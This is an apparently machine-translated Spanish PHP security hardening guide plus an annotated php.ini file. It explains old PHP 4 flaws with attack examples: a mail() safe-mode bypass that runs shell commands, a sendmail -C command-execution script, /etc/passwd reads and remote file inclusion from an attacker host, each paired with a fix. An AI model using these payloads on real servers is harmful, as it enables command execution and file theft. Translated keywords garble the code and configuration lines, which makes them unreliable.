1. Seguridad del servidor web
PHP es en realidad solo una función del módulo del servidor web, por lo que primero se debe garantizar la seguridad del servidor web. Por supuesto, para que un servidor web sea seguro, primero debe garantizar la seguridad del sistema, lo cual está muy lejos. PHP se puede combinar con varios servidores web, y aquí solo se analizará Apache. Se recomienda encarecidamente instalar e iniciar Apache en modo chroot. De esta manera, incluso si hay vulnerabilidades en Apache, PHP y sus scripts, sólo el sistema restringido se verá afectado y no dañará el sistema real. Sin embargo, el uso de Apache con chroot también traerá ciertos problemas a la aplicación. Por ejemplo, al conectarse a mysql, se debe usar la dirección 127.0.0.1 para conectarse usando tcp en lugar de localhost para la conexión de socket, lo cual es un poco menos eficiente. También hay un problema con la función de correo que envía correos electrónicos, porque en php.ini:
[función de correo]
; Sólo para Win32.
SMTP=host local
; Sólo para Win32.
sendmail_from [email protected]
es para la plataforma Win32, por lo que sendmail debe ajustarse en el entorno chroot.
2. Problemas con el propio PHP Administrador de red u.bitscn@com
1. Desbordamiento remoto
Todas las versiones inferiores a PHP-4.1.2 tienen vulnerabilidades de desbordamiento remoto del búfer de carga de archivos, y el programa de ataque ha circulado ampliamente, con una tasa de éxito muy alta
2
.Denegación de servicio remota
PHP-4.2.0 y PHP-4.2.1 tienen una vulnerabilidad remota en el procesamiento de solicitudes POST de datos de formulario/multiparte de PHP. Aunque no se pueden obtener permisos de usuario locales, también puede provocar una denegación de servicio.
3. La vulnerabilidad de omisión del modo seguro
también existe en PHP-4.2.2 y versiones anteriores a PHP-4.0.5. La función de correo de PHP omite la restricción del modo seguro y ejecuta comandos. A partir de la versión 4.0.5, la función de correo agrega un quinto parámetro. Debido al diseño, si no tiene cuidado, puede romper las restricciones del modo seguro y ejecutar comandos. El avance en la versión 4.0.5 es muy simple. Sólo necesita separarlo con un punto y coma y agregar el comando de shell. Por ejemplo, si hay un script PHP evil.php:
ejecute la siguiente URL:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
Esto enviará el resultado de la ejecución del id a [email protected] .
Para PHP de 4.0.6 a 4.2.2, romper la restricción del modo seguro en realidad usa el parámetro -C de sendmail, por lo que el sistema debe usar sendmail. El siguiente código puede romper las restricciones del modo seguro y ejecutar comandos:
#Tenga en cuenta que los dos siguientes no deben existir.
O sus dueños son los mismos que los dueños de este script.
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Escaso = 0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
escribir($fd, $cmd);
fclose($fd);
correo("nadie", "", "", "", "-C$cf");
?>
Los usuarios que utilizan la versión problemática de PHP anterior deben actualizar a la última versión a tiempo, para eliminar problemas básicos de seguridad.
3. La configuración de seguridad de PHP en sí.
La configuración de PHP es muy flexible. Se puede configurar a través de archivos php.ini, httpd.conf, .htaccess (AllowOverride All u Opciones deben configurarse en este directorio), y también puede hacerlo. use ini_set() en el programa script y otras funciones específicas para configurar. Cada valor de la opción de configuración se puede obtener mediante las funciones phpinfo() y get_cfg_var().
Si la opción de configuración es el único atributo PHP_INI_SYSTEM, se debe modificar a través de php.ini y httpd.conf. Modifican el valor de PHP Master, pero después de la modificación, se debe reiniciar Apache para que surta efecto. Las opciones configuradas en php.ini son efectivas para todos los scripts en el servidor web, y las opciones configuradas en httpd.conf son efectivas para todos los scripts en el directorio definido.
Si hay otras opciones de atributos PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL, puede usar el archivo .htaccess para configurarlas, o puede usar la función ini_set() en el script mismo para configurarlas. Modifican el valor local y los cambios se realizarán. surta efecto inmediatamente. Sin embargo, .htaccess solo tiene efecto para el programa de script en el directorio actual, y la función ini_set() solo tiene efecto después de configurar la función ini_set() para el programa de script. Los atributos de opción de cada versión pueden ser diferentes. Puede usar el siguiente comando para encontrar el archivo main.c del código fuente actual para obtener todas las opciones y sus atributos:
# grep PHP_INI_ /PHP_SRC/main/main.c
Antes de discutir. Configuración de seguridad de PHP, debe tener una buena comprensión del modo de modo seguro de PHP.
1.
modo_seguro modo_seguro es el único atributo PHP_INI_SYSTEM y debe configurarse a través de php.ini o httpd.conf. Para habilitar el modo seguro, simplemente modifique php.ini:
modo_seguro = activado
O modifique httpd.conf y defina el directorio:
Opciones FollowSymLinks
php_admin_value safe_mode 1
safe_mode entrará en vigor después de reiniciar Apache. Habilitar el modo seguro restringirá muchas funciones de PHP, especialmente la apertura de archivos relacionados con el sistema, la ejecución de comandos y otras funciones.
Todas las funciones que operan archivos solo operarán archivos con el mismo UID que el script. Por ejemplo, el contenido del script test.php es:
Las propiedades de varios archivos son las siguientes:
# ls-la
total 13
drwxr-xr-x 2 raíz raíz 104 20 de julio 01:25.
drwxr-xr-x 16 raíz raíz 384 18 de julio 12:02 ..
-rw-r--r-- 1 raíz raíz 4110 26 de octubre de 2002 index.html
-rw-r--r-- 1 www-data www-data 41 19 de julio 19:14 test.php
Al solicitar test.php en el navegador aparecerá el siguiente mensaje de error:
Advertencia: MODO SEGURO Restricción vigente El script cuyo uid/gid es 33/33 no puede acceder a ./index.html propiedad de uid/gid 0/0. en /var/www/test.php en la línea 1
Si el UID del directorio donde se encuentra el archivo manipulado es consistente con el UID del script, entonces se puede acceder al UID del archivo incluso si es diferente del script. Me pregunto si esto es una vulnerabilidad en PHP o si. Hay otra razón oculta. Por lo tanto, es mejor que el usuario propietario del script php lo utilice únicamente para este propósito. Está absolutamente prohibido utilizar root como propietario del script php. Esto no logrará el efecto de modo seguro.
Si desea relajarlo para la comparación de GID, puede considerar comparar solo el GID del archivo activando safe_mode_gid. Puede configurar las siguientes opciones:
safe_mode_gid = Activado
, todos los comandos ejecutados se restringirán solo a las funciones. especificado en safe_mode_exec_dir en los programas php.ini en el directorio, y shell_exec y `ls -l` tendrán prohibido ejecutar comandos. Si realmente necesita llamar a otros programas, puede realizar las siguientes configuraciones en php.ini:
safe_mode_exec_dir = /usr/local/php/exec
y luego copiar el programa a este directorio, luego el script php puede usar el sistema y otras funciones para ejecutar el programa. Además, los scripts de shell en este directorio aún pueden llamar a comandos del sistema en otros directorios.
safe_mode_include_dir cadena
Anule las comprobaciones de UID/GID al incluir archivos de este directorio y sus subdirectorios (los directorios deben estar en include_path o incluirse con rutas completas).
A partir de PHP 4.2.0, esta directiva puede aceptar rutas delimitadas por punto y coma en un estilo similar a la directiva include_path, en lugar de solo un directorio.
El límite especificado es en realidad un prefijo, no un nombre de directorio. Esto significa que "safe_mode_include_dir = /dir/incl" permitirá el acceso a "/dir/include" y "/dir/incls" si existen. Si desea restringir el acceso a un directorio específico, agregue una barra diagonal, por ejemplo: "safe_mode_include_dir = /dir/incl/".
safe_mode_allowed_env_vars string
Establecer ciertas variables de entorno puede ser una posible brecha de seguridad. Esta directiva contiene una lista de prefijos separados por comas. En modo seguro, los usuarios sólo pueden cambiar las variables de entorno cuyos nombres tengan el prefijo proporcionado aquí. De forma predeterminada, los usuarios solo pueden configurar variables de entorno que comiencen con PHP_ (por ejemplo, PHP_FOO = BAR).
Nota: Si esta directiva está vacía, PHP permitirá al usuario modificar cualquier variable de entorno.
safe_mode_protected_env_vars cadena
Esta directiva contiene una lista separada por comas de variables de entorno que el usuario final no puede cambiar usando putenv(). Estas variables no se pueden cambiar incluso cuando la modificación permitida está configurada en safe_mode_allowed_env_vars.
Aunque el modo seguro no es una panacea (se pueden omitir las versiones inferiores de PHP), se recomienda encarecidamente activar el modo seguro, que puede evitar algunos ataques desconocidos hasta cierto punto. Sin embargo, habilitar el modo seguro tendrá muchas restricciones que pueden afectar la aplicación, por lo que es necesario ajustar el código y la configuración para lograr la armonía. Para funciones restringidas o bloqueadas por el modo seguro, consulte el manual de PHP.
Después de discutir el modo seguro, analicemos cómo evitar vulnerabilidades mediante la configuración del servidor PHP en función de los problemas reales que puedan surgir en el código del programa.
2. Abuso de variables
PHP tiene por defecto Register_globals = Activado. Las variables para GET, POST, Cookie, Entorno y Sesión se pueden registrar directamente como variables globales. Su orden de registro es variables_order = "EGPCS" (se puede modificar a través de php.ini). El lado derecho de variables_order con el mismo nombre cubre el lado izquierdo, por lo que el abuso de variables puede causar fácilmente confusión en el programa. Además, los programadores de scripts a menudo no tienen la costumbre de inicializar variables. Fragmentos de programa como los siguientes son extremadamente vulnerables a los ataques:
//prueba_1.php
si ($pasar == "hola")
$autenticación = 1;
si ($autenticación == 1)
haga eco de "alguna información importante";
demás
hacer eco de "nada";
?>
El atacante puede eludir la verificación simplemente usando la siguiente solicitud:
http://victim/test_1.php?auth=1
Aunque este es un error muy débil, algunos programas famosos también han cometido este error. Por ejemplo, el control remoto de phpnuke. Vulnerabilidad de copia de archivos: http://www.securityfocus.com/bid/3361
Cuando se lanzó PHP-4.1.0, se recomendó desactivar Register_globals y proporcionar 7 variables de matriz especiales para usar varias variables. Las variables de GET, POST, COOKIE, etc. no se registran directamente como variables y se debe acceder a ellas a través de variables de matriz. Cuando se lanzó PHP-4.2.0, la configuración predeterminada de php.ini era Register_globals = Off. Esto permite que el programa utilice el valor predeterminado inicializado por el propio PHP, que suele ser 0, evitando que los atacantes controlen las variables de juicio.
Solución:
establezca Register_globals = Off en el archivo de configuración php.ini.
Se requiere que el programador inicialice un valor para la variable de juicio al comienzo del programa.
3. El archivo abre
un fragmento de código extremadamente vulnerable:
//test_2.php
if (!($str = readfile("$nombre de archivo"))) {
echo("No se pudo abrir el archivo: $nombre de archivo
norte");
salida;
}
demás {
eco $cadena;
}
?>
Dado que el atacante puede especificar cualquier nombre de archivo $, el atacante puede ver /etc/passwd con la siguiente solicitud:
http://victim/test_2.php?filename=/etc/passwd
La siguiente solicitud puede leer el archivo php en sí:
http://victim/test_2.php?filename=test_2.php
Las funciones de apertura de archivos en PHP incluyen fopen(), file(), etc. Si la variable de nombre de archivo no se marca estrictamente, se accederá a archivos importantes en el servidor y leer.
Solución:
a menos que sea necesario lo contrario, limite las operaciones de archivos PHP al directorio web. El siguiente es un ejemplo de cómo modificar el archivo de configuración de Apache httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
Después de reiniciar Apache, el script PHP en el directorio /usr/local/apache/htdocs solo puede operar archivos en su propio directorio; de lo contrario, PHP informará un error:
Advertencia: restricción open_basedir vigente
El archivo está en el directorio incorrecto en xxx en línea
.xx.
El uso del modo modo seguro también puede evitar este problema, que se analizó anteriormente.
4. Contiene archivos
con fragmentos de código extremadamente vulnerables:
//test_3.php
si (archivo_existe ($ nombre de archivo))
incluir("$nombre de archivo");
?>
Este tipo de código irresponsable causará un daño considerable. Un atacante puede obtener el archivo /etc/passwd utilizando la siguiente solicitud:
http://victim/test_3.php?filename=/etc/passwd
Si es para la versión Unix de PHP (. La versión Win de PHP no admite la apertura remota de archivos). El atacante puede crear un archivo que contenga comandos de shell en la máquina donde abrió el servicio http o ftp. Por ejemplo, el contenido de http://attack/attack.txt. es, entonces la siguiente solicitud Puede ejecutar el comando ls /etc en el host de destino:
http://victim/test_3.php?filename=http://attack/attack.txt
El atacante puede incluso usar access.log y error.log archivos de registro que contienen apache para Se obtiene el código para ejecutar el comando, pero a veces no es fácil tener éxito debido a demasiada información de interferencia.
Para otra forma, el siguiente fragmento de código:
//test_4.php
incluir("$lib/config.php");
?>
El atacante puede crear un archivo config.php que contenga código de ejecución de comandos en su propio host y luego usar la siguiente solicitud para ejecutar el comando en el host de destino:
http://victim/test_4.php?lib=http://attack
Las funciones PHP incluidas incluyen include(), include_once(), require(), require_once. Si la variable que contiene el nombre del archivo no se verifica estrictamente, causará un grave peligro al sistema y el comando se podrá ejecutar de forma remota.
Solución:
los programadores deben intentar no utilizar variables al incluir parámetros en archivos. Si se utilizan variables, los nombres de los archivos que se incluirán deben verificarse estrictamente y el usuario no debe especificarlos arbitrariamente.
Por ejemplo, limitar la ruta de operación de PHP en la apertura del archivo anterior es una opción necesaria. Además, a menos que sea necesario lo contrario, asegúrese de desactivar la función de apertura remota de archivos de PHP. Modifique el archivo php.ini:
enable_url_fopen = Desactivado
Reiniciar Apache
[PHP]
; PHP sigue siendo una herramienta en evolución y sus funciones se eliminan constantemente.
; Y los cambios de configuración de php.ini pueden reflejar cambios considerables,
; antes de utilizar una nueva versión de PHP, sería beneficioso estudiar php.ini.
;;;;;;;;;;;;;;;;;;;;;;;
;Acerca de este documento;
;;;;;;;;;;;;;;;;;;;;;;
Este archivo controla muchos aspectos de la vista de PHP. Para que PHP pueda leer este archivo, debe tener un nombre.
; 'php.ini'.PHP buscará el archivo en estos lugares: el directorio de trabajo actual;
; La ruta especificada; la ruta especificada al compilar.
; en Windows, la ruta al compilar es el directorio de instalación de Windows.
; en el modo de línea de comando, la ruta de búsqueda de php.ini se puede reemplazar con el parámetro -c.
La sintaxis de este archivo es muy simple. Los espacios en blanco y las líneas que comienzan con un punto y coma simplemente se ignoran.
; igual que lo adivinado). Los títulos de los capítulos (por ejemplo: [Foo]) también se ignoran, aunque en el futuro puedan ocurrir.
; tiene algún significado.
;
; las directivas se especifican utilizando la siguiente sintaxis:
; identificador del indicador = valor
; directiva = valor
; Indica que el identificador *distingue entre mayúsculas y minúsculas* - foo=bar es diferente de FOO = bar.
;
; El valor puede ser una cadena, un número, una constante PHP (como: E_ALL o M_PI), constante INI;
; A (Activado, Desactivado, Verdadero, Falso, Sí, No y Ninguno), o una expresión
; (por ejemplo: E_ALL & ~E_NOTICE), o una cadena entre comillas ("foo").
;
Las expresiones en archivos INI están restringidas a operadores bit a bit y paréntesis.
;
; & bit a bit Y
; ~ bit a bit NO
; booleano NO
;
; los indicadores booleanos se pueden activar con los valores 1, Activado, Verdadero o Sí.
; Se pueden desactivar con los valores 0, Off, False o No.
;
; Una cadena vacía se puede representar escribiendo nada después del signo igual o usando la palabra clave Ninguno:
;
; foo = ; Establecer foo en una cadena vacía
; foo = none; Establece foo en una cadena vacía
; foo = "ninguno"; establece foo en la cadena 'ninguno'
;
; Si usa constantes en la configuración de valores, y estas constantes pertenecen a bibliotecas de extensiones cargadas dinámicamente (es decir, no extensiones de PHP;
; extensiones Zend), solo puedes usar estas constantes *después* de las líneas que llaman a estas extensiones.
;
Todos los valores establecidos en el archivo php.ini-dist son los mismos que los valores predeterminados integrados (es decir, si php.ini;
; no se utiliza o eliminaste estas líneas, el valor predeterminado es el mismo
;;;;;;;;;;;;;;;;;;;;;;
;Opciones de idioma;
;;;;;;;;;;;;;;;;;;;;;;
motor = Encendido
; Hacer que el motor de lenguaje de programación PHP esté disponible en Apache.
short_open_tag = Activado
; Permite la etiqueta <? (esta representación simple) Solo se reconocerán las etiquetas <?php y <script>.
asp_tags = Desactivado
; Permitir etiquetas <% %> de estilo ASP
precisión = 14
; El número de dígitos efectivos al mostrar números de punto flotante
y2k_compliance = Desactivado;
; si se debe activar la adaptación al año 2000 (puede causar problemas en navegadores que no se adaptan al año 2000)
output_buffering = desactivado;
El almacenamiento en caché de resultados le permite enviar líneas de encabezado (incluidas cookies) incluso después de generar el contenido del cuerpo;
; El costo es que la capa de salida se ralentiza un poco. Puede usar el almacenamiento en caché de resultados para activar el almacenamiento en caché de resultados en tiempo de ejecución.
; O active la directiva aquí para habilitar el almacenamiento en caché de resultados para todos los archivos.
output_handler = ; Puede redirigir toda la salida de su script a una función,
; Eso podría ser útil para procesarlo o registrarlo.
Por ejemplo, si configura este controlador de salida en "ob_gzhandler",
; la salida se comprimirá de forma transparente para los navegadores que admitan codificación gzip o deflate.
; Configure un procesador de salida para abrir automáticamente el búfer de salida.
implicit_flush = Desactivado
; Fuerza el vaciado para indicarle a PHP que le indique a la capa de salida que actualice automáticamente sus propios datos después de cada bloque de salida.
; Esto equivale a llamar a la función flush() después de cada llamada a print() o echo() y después de cada bloque HTML.
; Activar esta configuración causará graves conflictos de tiempo de ejecución. Se recomienda activarla solo durante la depuración
.
; Si se debe forzar que las llamadas a funciones pasen parámetros por referencia. Se protestó por este método.
; y es posible que ya no sea compatible con versiones futuras de PHP/Zend.
; Se recomienda especificar qué parámetros se pasan por referencia en la declaración de función.
; Le recomendamos que intente desactivar esta opción y verificar que sus scripts aún funcionen correctamente para garantizar futuras versiones del idioma;
; Seguirán funcionando (recibirá una advertencia cada vez que utilice esta función y los parámetros serán por valor en lugar de por referencia.
; Pasar)
; Modo seguro
modo_seguro = Desactivado
modo_seguro_exec_dir =
modo_seguro_allowed_env_vars = PHP_
; Establecer ciertas variables de entorno
; puede ser una posible violación de seguridad.
; Esta directiva contiene una lista de prefijos separados por comas. En modo seguro, los usuarios solo pueden reemplazar
los valores de las variables de entorno que comienzan con los prefijos enumerados aquí.
; De forma predeterminada, los usuarios solo podrán configurar variables de entorno que comiencen con PHP_ (por ejemplo: PHP_FOO=BAR).
NOTA: Si esta directiva está vacía, PHP permitirá al usuario cambiar cualquier variable de entorno
safe_mode_protected_env_vars = LD_LIBRARY_PATH.
; Esta directiva contiene una lista separada por comas de variables de entorno que el usuario final no podrá cambiar usando putenv ().
; Estas variables están protegidas incluso cuando safe_mode_allowed_env_vars está configurado en enable_functions
=
.
; Esta directiva le permite desactivar funciones específicas por razones de seguridad.
; Acepta una lista de nombres de funciones separados por comas.
; Esta instrucción *no* se ve afectada por si el modo seguro está activado
; El color del modo de resaltado de sintaxis.
???
> funcionará.
resaltado.comentario = #FF8000
resaltado.palabra clave = #007700
resaltado.bg = #FFFFFF
resaltado.predeterminado = #0000BB
resaltado.html = #000000
; Varios Varios
exponer_php = Desactivado
; Determina si PHP debe indicar el hecho de que está instalado en el servidor (por ejemplo, agregarlo (PHP) al servicio web).
; en la señal enviada).
; (Mi opinión personal es desactivar esto cuando aparece cualquier encabezado de encendido).
; No representa ninguna amenaza para la seguridad, pero permite comprobar si PHP está instalado en su servidor.
;;;;;;;;;;;;;;;;;;;;;;;
Límites de recursos;
;;;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ;
Memory_limit = 8388608; la cantidad máxima de memoria que puede utilizar un script (aquí es 8 MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Manejo de errores y registro;
; control y registro de errores;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; El informe de errores es bit a bit. O agregue los números para obtener el nivel de informe de errores deseado.
; E_ALL - todos los errores y advertencias
; E_ERROR - error fatal de tiempo de ejecución
; E_WARNING: advertencia de tiempo de ejecución (error no fatal)
; E_PARSE: error de análisis en tiempo de compilación
; E_NOTICE: recordatorios de tiempo de ejecución (a menudo son causados por errores en el código,
También puede ser causado por un comportamiento intencional (por ejemplo: usar una variable no inicializada basándose en
el hecho de que la variable no inicializada se inicializa automáticamente en una cadena vacía)
; E_CORE_ERROR: error fatal que ocurre durante el proceso de inicialización cuando se inicia PHP.
; E_CORE_WARNING: una advertencia (error no fatal) que ocurre durante el proceso de inicialización cuando se inicia PHP;
; E_COMPILE_ERROR - error fatal en tiempo de compilación
; E_COMPILE_WARNING - advertencia en tiempo de compilación (error no fatal)
; E_USER_ERROR - mensaje de error generado por el usuario
; E_USER_WARNING - mensaje de advertencia generado por el usuario
; E_USER_NOTICE - mensaje recordatorio generado por el usuario
; ejemplo:
; error_reporting = E_ALL & ~E_NOTICE ; Mostrar todos los errores excepto los recordatorios
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR Mostrar sólo errores;
error_reporting = E_ALL & ~E_NOTICE Mostrar todos los errores excepto los recordatorios
display_errors = On; mostrar mensajes de error (como parte de la salida)
; en el sitio web final publicado, se recomienda encarecidamente que desactive esta función y la utilice;
; Registro de errores en su lugar (ver más abajo).
; Es posible continuar habilitando display_errors en el sitio web publicado final;
; exponer cierta información relacionada con la seguridad, como rutas de archivos en su servicio web,
; La configuración de su base de datos u otra información.
display_startup_errors = Off ; Ocurre durante el paso de inicio de PHP incluso cuando display_erroes está activado;
; los errores no se mostrarán.
; Se recomienda encarecidamente mantener display_startup_errors desactivado;
; Excepto durante el proceso de corrección de errores.
log_errors = Off ; Registra los errores en el archivo de registro (registro específico del servidor, salida de error estándar stderr o error_log (a continuación))
; Como se indicó anteriormente, se recomienda encarecidamente que registre los errores en el sitio web publicado final;
; Reemplazar la salida de error directa.
track_errors = Off ; Guardar el último mensaje de error/advertencia en la variable $php_errormsg (booleano)
;error_prepend_string = "<font color=ff0000>" ;
;error_append_string = "</font>" ; La cadena de salida después del mensaje de error
;error_log = nombre de archivo ; Registrar el registro de errores en el archivo especificado;
;error_log = syslog ; Registre el registro de errores en el registro del sistema syslog (registro de eventos en NT, no válido en Windows 95)
warn_plus_overloading = Desactivado; Advertir cuando se utiliza '+' con cadenas
;;;;;;;;;;;;;;;;;;;
; Manejo de Datos ;
;;;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ;
; El orden de GET, POST, Cookie, Entorno y variables integradas.
; (representado por G, P, C, E y S, generalmente denominado EGPCS o GPC).
; Registros de izquierda a derecha, los nuevos valores reemplazan los valores antiguos.
Register_globals = On Si se deben registrar estas variables EGPCS como variables globales.
; Es posible que desee desactivar esta opción si no desea que los datos del usuario estén saturados globalmente.
; Esto tiene más sentido junto con track_vars; de esta manera puedes pasar
; $HTTP_*_VARS[] accede a todas las variables GPC.
Register_argc_argv = Activado Esta directiva le indica a PHP si debe declarar las variables argv y argc.
; (Nota: aquí argv es una matriz y argc es el número de variables)
; (que contiene datos pasados mediante el método GET).
; Si no desea utilizar estas variables, debe desactivarlas para mejorar el rendimiento.
track_vars = On ; Haga que la matriz $HTTP_*_VARS[] sea válida, aquí * se usa cuando se usa;
; reemplazo de ENV, POST, GET, COOKIE o SERVIDOR
post_max_size = 8M; Tamaño máximo de datos POST que PHP aceptará.
comillas mágicas
.
magic_quotes_gpc = Activado; Usar comillas mágicas en los datos de entrada GET/POST/Cookie
(El texto original es así, jaja, las llamadas comillas mágicas deben referirse al uso de caracteres de escape para agregar caracteres de control de referencia, como '....)
magic_quotes_runtime= Desactivado; Utilice comillas mágicas para los datos generados en tiempo de ejecución,
; Por ejemplo: datos obtenidos mediante consulta SQL, datos obtenidos mediante la función exec(), etc.
magic_quotes_sybase = Desactivado; Usar comillas mágicas estilo Sybase (use 'extraer' en lugar de '')
; Agregar archivos automáticamente antes y después de los documentos PHP;
auto_prepend_file =
auto_append_file =
; Al igual que 4.04b4, PHP de forma predeterminada siempre genera la codificación de un carácter en el encabezado "Tipo de contenido:".
; Deshabilita el juego de caracteres de salida siempre que esté vacío.
; el valor predeterminado integrado de PHP es text/html;
default_mimetype = "texto/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Rutas y Directorios;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; incluir configuración de ruta, UNIX: "/ruta1:/ruta2" Windows: "ruta1;ruta2"
doc_root = ; La ruta raíz de la página php, solo es válida cuando no está vacía.
user_dir = ; Le dice a php qué directorio buscar al abrir el script usando /~nombre de usuario.
;upload_tmp_dir = ; Directorio temporal para almacenar archivos cargados usando el protocolo HTTP (use el valor predeterminado del sistema si no se especifica)
upload_max_filesize = 2097152 La carga de archivos está limitada a 2 megas de forma predeterminada;
extension_dir = c:php directorio donde se almacenan las bibliotecas de extensiones (módulos) cargables;
enable_dl = Activado; si se debe habilitar dl().
; La función dl() *no* funciona bien en un servidor multiproceso,
; como IIS o Zeus, y están deshabilitados de forma predeterminada en ellos.
;;;;;;;;;;;;;;;;;;;
; cargas de archivos;
;;;;;;;;;;;;;;;;;;;
file_uploads = Activado; si se permite la carga de archivos HTTP
;upload_tmp_dir = ; Directorio temporal para archivos cargados a través de HTTP (se utiliza el valor predeterminado del sistema si no se especifica)
upload_max_filesize = 2M; Tamaño máximo permitido de archivos cargados
;
;;;;;;;;;;;;;;;;;;;;;;
enable_url_fopen = Activado; si se permite que las URL se traten como http:.. o archivos como ftp:...
;;;;;;;;;;;;;;;;;;;;;;;;;;
;Expansión dinámica;
Extensiones dinámicas;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; si desea que una biblioteca de extensiones se cargue automáticamente, utilice la siguiente sintaxis:
; extensión=nombre del módulo.extensión
; Por ejemplo, en Windows,
; extensión=msql.dll
; o bajo UNIX,
; extensión=msql.so
; Tenga en cuenta que esto sólo debe ser el nombre del módulo, no es necesario incluir información del directorio en él.
Utilice el extension_dir anterior para indicar la ubicación de la biblioteca de extensión especificada.
;Extensión de Windows
;extensión=php_nsmail.dll
extensión=php_calendar.dll
;extensión=php_dbase.dll
;extensión=php_filepro.dll
extensión=php_gd.dll
;extensión=php_dbm.dll
;extensión=php_mssql.dll
;extensión=php_zlib.dll
;extensión=php_filepro.dll
;extensión=php_imap4r2.dll
;extensión=php_ldap.dll
;extensión=php_crypt.dll
;extensión=php_msql2.dll
;extensión=php_odbc.dll
; Tenga en cuenta que la compatibilidad con MySQL ahora está integrada, por lo que no es necesario utilizar su dll
;;;;;;;;;;;;;;;;;;;;;;
; configuración del módulo;
; Configuración del módulo;
;;;;;;;;;;;;;;;;;;;;;
[Syslog]
define_syslog_variables = Desactivado; si se deben definir varias variables de registro del sistema
; Como por ejemplo: $LOG_PID, $LOG_CRON, etc.
; apagarlo es una buena idea para mejorar la eficiencia.
; En tiempo de ejecución, puede llamar a la función define_syslog_variables() para definir estas variables
[función de correo];
SMTP = localhost; sólo para sistemas win32
sendmail_from [email protected] ; sólo para sistemas win32
;sendmail_path = ;sólo para Unix, también admite parámetros (el valor predeterminado es 'sendmail -t -i')
[Depurador]
depurador.host = localhost
depurador.puerto = 7869
debugger.enabled = False
[Registro]
; Estas configuraciones indican el mecanismo de registro utilizado para los ejemplos.
; Consulte ejemplos/README.logging para obtener más explicaciones.
;logging.método = db
;logging.directory = /ruta/al/log/directorio
[Java]
;java.class.ruta = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Desactivado
[ODBC]
;uodbc.default_db = Aún no implementado
;uodbc.default_user = Aún no implementado
;uodbc.default_pw = Aún no implementado
uodbc.allow_persistent=Activado; Permitir o deshabilitar conexiones persistentes;
uodbc.check_persistent = Activado. Compruebe si la conexión aún está disponible antes de reutilizarla;
uodbc.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
uodbc.max_links = -1; el número máximo de conexiones (persistentes y no persistentes -1 representa una gestión de red ilimitada u.bitsCN.com).
uodbc.defaultlrl = 4096; Controla campos de tipo LONG Devuelve el número de bytes de la variable, 0 significa paso a través (?) 0 significa paso a través.
uodbc.defaultbinmode = 1; Controlar datos binarios. 0 representa ??? Manejo de datos binarios 0 significa transferencia, 1 retorno como está, 2 convertir a carácter.
; Consulte la documentación de odbc_binmode y odbc_longreadlen para obtener una explicación de uodbc.defaultlrl y uodbc.defaultbinmode
[MySQL]
.
mysql.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
mysql.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
mysql.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas).
mysql.default_port =; El puerto predeterminado utilizado por mysql_connect(). Si no está configurado, mysql_connect().
; utilizará la variable $MYSQL_TCP_PORT, o la entrada mysql-tcp en /etc/services (unix),
; O MYSQL_PORT se define durante la compilación (en este orden)
; entorno Win32, solo se verificará MYSQL_PORT.
mysql.default_socket = ; El nombre del socket predeterminado utilizado para las conexiones MySql locales. Si está vacío, use el valor incorporado
de MYSQL mysql.default_host =
; mysql_connect() Nombre de usuario utilizado por defecto (no válido en modo seguro)
mysql.default_password = ; La contraseña utilizada por mysql_connect() de forma predeterminada (no válida en modo seguro)
; Tenga en cuenta que guardar contraseñas en este archivo es generalmente una *mala* idea;
; *Cualquier* usuario con acceso a PHP puede ejecutar
; 'echo cfg_get_var("mysql.default_password")' para mostrar esa contraseña.
; Y por supuesto, cualquier usuario con derechos de lectura sobre el archivo también podrá ver esa contraseña
[mSQL]
.
msql.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
msql.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
msql.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas
[PostgresSQL]
).
pgsql.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
pgsql.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
pgsql.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas
[Sybase]
).
sybase.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
sybase.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitado.
sybase.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas).
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 Gravedad mínima de los errores mostrados;
sybase.min_message_severity = 10 Gravedad mínima de los mensajes mostrados;
sybase.compatability_mode = Desactivado; Modo de compatibilidad con versiones anteriores de PHP 3.0. Si está activado, esto hará que PHP se ejecute automáticamente.
; asígnales el tipo Sybase según el resultado,
; en lugar de tratarlos a todos como cadenas.
; Este modo de compatibilidad no permanecerá para siempre,
; Por lo tanto, realice los cambios necesarios en su código,
; y cierre el elemento
[Sybase-CT]
.
sybct.allow_persistent = Activado; Permitir o deshabilitar conexiones persistentes
sybct.max_persistent = -1; Número máximo de conexiones persistentes -1 significa ilimitadas.
sybct.max_links = -1; Número máximo de conexiones (persistentes y no persistentes -1 significa ilimitadas).
sybct.min_server_severity = 10 Gravedad mínima de los errores mostrados;
sybct.min_client_severity = 10; Gravedad mínima de los mensajes mostrados
[bcmath]
bcmath.scale = 0; número de dígitos decimales para todas las funciones bcmath
[browscap]
;browscap = extra/browscap.ini
